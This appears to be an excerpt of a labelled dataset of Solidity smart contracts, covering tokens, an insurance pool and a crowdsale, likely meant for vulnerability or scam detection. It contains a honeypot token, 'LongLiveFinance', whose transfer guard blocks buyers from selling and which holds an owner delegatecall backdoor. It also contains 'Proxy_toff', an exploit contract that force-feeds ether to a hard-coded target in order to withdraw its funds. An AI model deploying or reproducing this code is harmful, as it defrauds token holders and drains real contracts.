allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function boxChoice(uint _newBox) public returns (uint) {
boxRand += 1;
if (boxRand > boxMax) {
boxRand = 1;
}
if (_newBox == 0) {
box[msg.sender] = boxRand;
} else {
box[msg.sender] = _newBox;
}
BoxChange(msg.sender, _newBox);
return (box[msg.sender]);
}
function fundsOut() payable public {
require(msg.sender == creator);
creator.transfer(this.balance);
}
function update(uint _option, uint _newNo, address _newAddress) public returns (string, uint) {
require(msg.sender == creator || msg.sender == game);
if (_option == 1) {
require(_newNo > 0);
boxMax = _newNo;
return ("boxMax Updated", boxMax);
}
if (_option == 2) {
game = _newAddress;
return ("Game Smart Contract Updated", 1);
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function setEscrowTransfer(address _to, uint _value, uint _price, bool _open) external returns (bool success) {
_transfer(msg.sender, this, _value);
userEscrowCount[msg.sender] += 1;
var escrowTrade = escrowTransferInfo[msg.sender][userEscrowCount[msg.sender]];
escrowTrade.value += _value;
escrowTrade.price = _price;
escrowTrade.to = _to;
escrowTrade.open = _open;
escrowCount += 1;
escrowTransferList.push(EscrowTfr(msg.sender, userEscrowCount[msg.sender]));
Escrow(msg.sender, _value, _price, _open, _to);
return (true);
}
function recieveEscrowTransfer(address _sender, uint _no) external payable returns (bool success) {
require(escrowTransferInfo[_sender][_no].value != 0);
box[msg.sender] = this.boxChoice(box[msg.sender]);
if (msg.sender == _sender) {
_transfer(this, msg.sender, escrowTransferInfo[_sender][_no].value);
escrowTransferInfo[_sender][_no].value = 0;
Escrow(_sender, 0, msg.value, escrowTransferInfo[_sender][_no].open, msg.sender);
return (true);
} else {
require(msg.value >= escrowTransferInfo[_sender][_no].price);
if (escrowTransferInfo[_sender][_no].open == false) {
require(msg.sender == escrowTransferInfo[_sender][_no].to);
}
_transfer(this, msg.sender, escrowTransferInfo[_sender][_no].value);
_sender.transfer(msg.value);
escrowTransferInfo[_sender][_no].value = 0;
Escrow(_sender, 0, msg.value, escrowTransferInfo[_sender][_no].open, msg.sender);
return (true);
}
}
} | 1 | 4,862 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CryptoProtect is Ownable {
using SafeMath for uint256;
ERC20Interface tokenInterface;
struct Policy {
uint256 premiumAmount;
uint256 payoutAmount;
uint256 endDate;
uint8 state;
}
struct Token {
mapping (string => Policy) token;
}
struct Exchange {
mapping (string => Token) exchange;
}
struct Pool{
uint256 endDate;
uint256 amount;
}
mapping(address => Exchange) policies;
Pool[] private poolRecords;
uint private poolRecordsIndex;
uint256 private poolBackedAmount;
uint8 public poolState;
uint256 public poolMaxAmount;
uint256 public poolStartDate;
uint256 public minPremium;
uint256 public maxPremium;
string public contractName;
event PoolStateUpdate(uint8 indexed state);
event PremiumReceived(address indexed addr, uint256 indexed amount, uint indexed id);
event ClaimSubmitted(address indexed addr, string indexed exchange, string indexed token);
event ClaimPayout(address indexed addr, string indexed exchange, string indexed token);
event PoolBackedAmountUpdate(uint256 indexed amount);
event PoolPremiumLimitUpdate(uint256 indexed min, uint256 indexed max);
constructor(
string _contractName,
address _tokenContract,
uint256 _poolMaxAmount,
uint256 _poolBackedAmount,
uint256 _minPremium,
uint256 _maxPremium
)
public
{
contractName = _contractName;
tokenInterface = ERC20Interface(_tokenContract);
poolState = 1;
poolStartDate = now;
poolMaxAmount = _poolMaxAmount;
poolBackedAmount = _poolBackedAmount;
minPremium = _minPremium;
maxPremium = _maxPremium;
}
modifier verifyPoolState() {
require(poolState == 1);
_;
}
function isEligible(address _addr, string _exchange, string _token) internal view
returns (bool)
{
if (
policies[_addr].exchange[_exchange].token[_token].state == 0 ||
policies[_addr].exchange[_exchange].token[_token].endDate < now
) {
return true;
}
return false;
}
function computePoolAmount() internal view
returns (uint256)
{
uint256 currentPoolAmount = 0;
for (uint i = poolRecordsIndex; i< poolRecords.length; i++) {
if (poolRecords[i].endDate < now) {
continue;
}
currentPoolAmount = currentPoolAmount.add(poolRecords[i].amount);
}
return currentPoolAmount.add(poolBackedAmount);
}
function MakeTransaction(
address _tokenOwner,
uint256 _premiumAmount,
uint256 _payoutAmount,
string _exchange,
string _token,
uint8 _id
)
external
verifyPoolState()
{
require(_tokenOwner != address(0));
require(_premiumAmount < _payoutAmount);
require(_premiumAmount >= minPremium);
require(_premiumAmount <= maxPremium);
require(bytes(_exchange).length > 0);
require(bytes(_token).length > 0);
require(_id > 0);
require(isEligible(_tokenOwner, _exchange, _token));
require(tokenInterface.balanceOf(_tokenOwner) >= _premiumAmount);
require(tokenInterface.allowance(_tokenOwner, address(this)) >= _premiumAmount);
policies[_tokenOwner].exchange[_exchange].token[_token].premiumAmount = _premiumAmount;
policies[_tokenOwner].exchange[_exchange].token[_token].payoutAmount = _payoutAmount;
policies[_tokenOwner].exchange[_exchange].token[_token].endDate = now.add(90 * 1 days);
policies[_tokenOwner].exchange[_exchange].token[_token].state = 1;
poolRecords.push(Pool(now.add(90 * 1 days), _premiumAmount));
tokenInterface.transferFrom(_tokenOwner, address(this), _premiumAmount);
emit PremiumReceived(_tokenOwner, _premiumAmount, _id);
}
function GetPolicy(address _addr, string _exchange, string _token) public view
returns (
uint256 premiumAmount,
uint256 payoutAmount,
uint256 endDate,
uint8 state
)
{
return (
policies[_addr].exchange[_exchange].token[_token].premiumAmount,
policies[_addr].exchange[_exchange].token[_token].payoutAmount,
policies[_addr].exchange[_exchange].token[_token].endDate,
policies[_addr].exchange[_exchange].token[_token].state
);
}
function SubmitClaim(address _addr, string _exchange, string _token) public
returns (bool submitted)
{
require(policies[_addr].exchange[_exchange].token[_token].state == 1);
require(policies[_addr].exchange[_exchange].token[_token].endDate > now);
emit ClaimSubmitted(_addr, _exchange, _token);
return true;
}
function GetCurrentPoolAmount() public view
returns (uint256)
{
return computePoolAmount();
}
function CheckEligibility(address _addr, string _exchange, string _token) public view
returns (bool)
{
return(isEligible(_addr, _exchange, _token));
}
function CheckBalance(address _addr) public view returns (uint256){
return tokenInterface.balanceOf(_addr);
}
function CheckAllowance(address _addr) public view returns (uint256){
return tokenInterface.allowance(_addr, address(this));
}
function UpdatePolicyState(address _addr, string _exchange, string _token, uint8 _state) external
onlyOwner
{
require(policies[_addr].exchange[_exchange].token[_token].state != 0);
policies[_addr].exchange[_exchange].token[_token].state = _state;
if (_state == 3) {
emit ClaimPayout(_addr, _exchange, _token);
}
}
function UpdatePoolState(uint8 _state) external
onlyOwner
{
poolState = _state;
emit PoolStateUpdate(_state);
}
function UpdateBackedAmount(uint256 _amount) external
onlyOwner
{
poolBackedAmount = _amount;
emit PoolBackedAmountUpdate(_amount);
}
function UpdatePremiumLimit(uint256 _min, uint256 _max) external
onlyOwner
{
require(_min < _max);
minPremium = _min;
maxPremium = _max;
emit PoolPremiumLimitUpdate(_min, _max);
}
function InitiatePayout(address _addr, string _exchange, string _token) external
onlyOwner
{
require(policies[_addr].exchange[_exchange].token[_token].state == 1);
require(policies[_addr].exchange[_exchange].token[_token].payoutAmount > 0);
uint256 payoutAmount = policies[_addr].exchange[_exchange].token[_token].payoutAmount;
require(payoutAmount <= tokenInterface.balanceOf(address(this)));
policies[_addr].exchange[_exchange].token[_token].state = 3;
tokenInterface.transfer(_addr, payoutAmount);
emit ClaimPayout(_addr, _exchange, _token);
}
function WithdrawFee(uint256 _amount) external
onlyOwner
{
require(_amount <= tokenInterface.balanceOf(address(this)));
tokenInterface.transfer(owner, _amount);
}
function EmergencyDrain(ERC20Interface _anyToken) external
onlyOwner
returns(bool)
{
if (address(this).balance > 0) {
owner.transfer(address(this).balance);
}
if (_anyToken != address(0)) {
_anyToken.transfer(owner, _anyToken.balanceOf(this));
}
return true;
}
} | 1 | 2,966 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LongLiveFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 8;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 300 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BRDCrowdsaleAuthorizer is Ownable {
mapping (address => bool) internal authorizedAccounts;
mapping (address => bool) internal authorizers;
event Authorized(address indexed _to);
function addAuthorizer(address _newAuthorizer) onlyOwnerOrAuthorizer public {
authorizers[_newAuthorizer] = true;
}
function removeAuthorizer(address _bannedAuthorizer) onlyOwnerOrAuthorizer public {
require(authorizers[_bannedAuthorizer]);
delete authorizers[_bannedAuthorizer];
}
function authorizeAccount(address _newAccount) onlyOwnerOrAuthorizer public {
if (!authorizedAccounts[_newAccount]) {
authorizedAccounts[_newAccount] = true;
Authorized(_newAccount);
}
}
function isAuthorizer(address _account) constant public returns (bool _isAuthorizer) {
return msg.sender == owner || authorizers[_account] == true;
}
function isAuthorized(address _account) constant public returns (bool _authorized) {
return authorizedAccounts[_account] == true;
}
modifier onlyOwnerOrAuthorizer() {
require(msg.sender == owner || authorizers[msg.sender]);
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BRDLockup is Ownable {
using SafeMath for uint256;
struct Allocation {
address beneficiary;
uint256 allocation;
uint256 remainingBalance;
uint256 currentInterval;
uint256 currentReward;
}
Allocation[] public allocations;
uint256 public unlockDate;
uint256 public currentInterval;
uint256 public intervalDuration;
uint256 public numIntervals;
event Lock(address indexed _to, uint256 _amount);
event Unlock(address indexed _to, uint256 _amount);
function BRDLockup(uint256 _crowdsaleEndDate, uint256 _numIntervals, uint256 _intervalDuration) public {
unlockDate = _crowdsaleEndDate;
numIntervals = _numIntervals;
intervalDuration = _intervalDuration;
currentInterval = 0;
}
function processInterval() onlyOwner public returns (bool _shouldProcessRewards) {
bool _correctInterval = now >= unlockDate && now.sub(unlockDate) > currentInterval.mul(intervalDuration);
bool _validInterval = currentInterval < numIntervals;
if (!_correctInterval || !_validInterval)
return false;
currentInterval = currentInterval.add(1);
uint _allocationsIndex = allocations.length;
for (uint _i = 0; _i < _allocationsIndex; _i++) {
uint256 _amountToReward;
if (currentInterval == numIntervals) {
_amountToReward = allocations[_i].remainingBalance;
} else {
_amountToReward = allocations[_i].allocation.div(numIntervals);
}
allocations[_i].currentReward = _amountToReward;
}
return true;
}
function numAllocations() constant public returns (uint) {
return allocations.length;
}
function allocationAmount(uint _index) constant public returns (uint256) {
return allocations[_index].allocation;
}
function unlock(uint _index) onlyOwner public returns (bool _shouldReward, address _beneficiary, uint256 _rewardAmount) {
if (allocations[_index].currentInterval < currentInterval) {
allocations[_index].currentInterval = currentInterval;
allocations[_index].remainingBalance = allocations[_index].remainingBalance.sub(allocations[_index].currentReward);
Unlock(allocations[_index].beneficiary, allocations[_index].currentReward);
_shouldReward = true;
} else {
_shouldReward = false;
}
_rewardAmount = allocations[_index].currentReward;
_beneficiary = allocations[_index].beneficiary;
}
function pushAllocation(address _beneficiary, uint256 _numTokens) onlyOwner public {
require(now < unlockDate);
allocations.push(
Allocation(
_beneficiary,
_numTokens,
_numTokens,
0,
0
)
);
Lock(_beneficiary, _numTokens);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BRDToken is MintableToken {
using SafeMath for uint256;
string public name = "Bread Token";
string public symbol = "BRD";
uint256 public decimals = 18;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(mintingFinished || msg.sender == owner);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(mintingFinished || msg.sender == owner);
return super.transfer(_to, _value);
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract BRDCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public cap;
uint256 public minContribution;
uint256 public maxContribution;
uint256 public ownerRate;
uint256 public bonusRate;
address public tokenWallet;
BRDCrowdsaleAuthorizer public authorizer;
BRDLockup public lockup;
function BRDCrowdsale(
uint256 _cap,
uint256 _minWei,
uint256 _maxWei,
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _ownerRate,
uint256 _bonusRate,
address _wallet,
address _tokenWallet)
Crowdsale(_startTime, _endTime, _rate, _wallet)
public
{
require(_cap > 0);
require(_tokenWallet != 0x0);
cap = _cap;
minContribution = _minWei;
maxContribution = _maxWei;
ownerRate = _ownerRate;
bonusRate = _bonusRate;
tokenWallet = _tokenWallet;
}
function hasEnded() public constant returns (bool) {
bool _capReached = weiRaised >= cap;
return super.hasEnded() || _capReached;
}
function hasStarted() public constant returns (bool) {
return now > startTime;
}
function buyTokens(address _beneficiary) public payable {
super.buyTokens(_beneficiary);
uint256 _ownerTokens = msg.value.mul(ownerRate);
token.mint(tokenWallet, _ownerTokens);
}
function allocateTokens(address _beneficiary, uint256 _amount) onlyOwner public {
require(!isFinalized);
uint256 _weiAmount = _amount.div(rate);
weiRaised = weiRaised.add(_weiAmount);
token.mint(_beneficiary, _amount);
uint256 _ownerTokens = _weiAmount.mul(ownerRate);
token.mint(tokenWallet, _ownerTokens);
TokenPurchase(msg.sender, _beneficiary, _weiAmount, _amount);
}
function lockupTokens(address _beneficiary, uint256 _amount) onlyOwner public {
require(!isFinalized);
uint256 _ownerTokens = ownerRate.mul(_amount).div(rate);
token.mint(tokenWallet, _ownerTokens);
uint256 _lockupTokens = bonusRate.mul(_amount).div(100);
lockup.pushAllocation(_beneficiary, _lockupTokens);
token.mint(this, _lockupTokens);
uint256 _remainder = _amount.sub(_lockupTokens);
token.mint(_beneficiary, _remainder);
}
function unlockTokens() onlyOwner public returns (bool _didIssueRewards) {
if (!lockup.processInterval())
return false;
uint _numAllocations = lockup.numAllocations();
for (uint _i = 0; _i < _numAllocations; _i++) {
var (_shouldReward, _to, _amount) = lockup.unlock(_i);
if (_shouldReward) {
token.transfer(_to, _amount);
}
}
return true;
}
function setAuthorizer(BRDCrowdsaleAuthorizer _authorizer) onlyOwner public {
require(!hasStarted());
authorizer = _authorizer;
}
function setLockup(BRDLockup _lockup) onlyOwner public {
require(!hasStarted());
lockup = _lockup;
}
function setToken(BRDToken _token) onlyOwner public {
require(!hasStarted());
token = _token;
}
function setCap(uint256 _newCap) onlyOwner public {
require(_newCap > 0);
require(!hasStarted());
cap = _newCap;
}
function setMaxContribution(uint256 _newMaxContribution) onlyOwner public {
maxContribution = _newMaxContribution;
}
function setEndTime(uint256 _newEndTime) onlyOwner public {
endTime = _newEndTime;
}
function createTokenContract() internal returns (MintableToken) {
return BRDToken(address(0));
}
function finalization() internal {
token.finishMinting();
unlockTokens();
super.finalization();
}
function validPurchase() internal constant returns (bool) {
bool _withinCap = weiRaised.add(msg.value) <= cap;
bool _isAuthorized = authorizer.isAuthorized(msg.sender);
bool _isMin = msg.value >= minContribution;
uint256 _alreadyContributed = token.balanceOf(msg.sender).div(rate);
bool _withinMax = msg.value.add(_alreadyContributed) <= maxContribution;
return super.validPurchase() && _withinCap && _isAuthorized && _isMin && _withinMax;
}
} | 1 | 4,153 |
pragma solidity ^0.5.0;
contract Pass {
constructor(address payable targetAddress) public payable {
selfdestruct(targetAddress);
}
}
interface TargetInterface {
function checkBalance() external view returns (uint256);
function withdraw() external returns (bool);
function stock() external view returns (uint256);
function withdrawStock() external;
}
contract Proxy_toff {
address payable private constant targetAddress = 0x5799D73e4C60203CA6C7dDCB083b0c74ACb4b4C3;
address payable private owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public payable {
owner = msg.sender;
}
function investTargetMsgValue(bool keepBalance, bool leaveStock) public payable {
investTargetAmount(msg.value, keepBalance, leaveStock);
}
function investTargetAmount(uint256 amount, bool keepBalance, bool leaveStock) public payable onlyOwner {
(bool success,) = targetAddress.call.value(amount)("");
require(success);
if (!leaveStock) {
TargetInterface target = TargetInterface(targetAddress);
target.withdrawStock();
}
if (!keepBalance) {
owner.transfer(address(this).balance);
}
}
function withdrawTarget(bool keepBalance) public payable onlyOwner {
TargetInterface target = TargetInterface(targetAddress);
uint256 targetStock = target.stock();
uint256 targetBalanceAvailable = targetAddress.balance - targetStock;
uint256 targetBalanceRequired = target.checkBalance();
if (targetStock == 0) {
targetBalanceRequired++;
}
if (targetBalanceRequired > targetBalanceAvailable) {
uint256 needAdd = targetBalanceRequired - targetBalanceAvailable;
require(address(this).balance >= needAdd);
(new Pass).value(needAdd)(targetAddress);
}
target.withdraw();
if (!keepBalance) {
owner.transfer(address(this).balance);
}
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
function kill() public onlyOwner {
selfdestruct(owner);
}
function () external payable {
}
} | 0 | 459 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
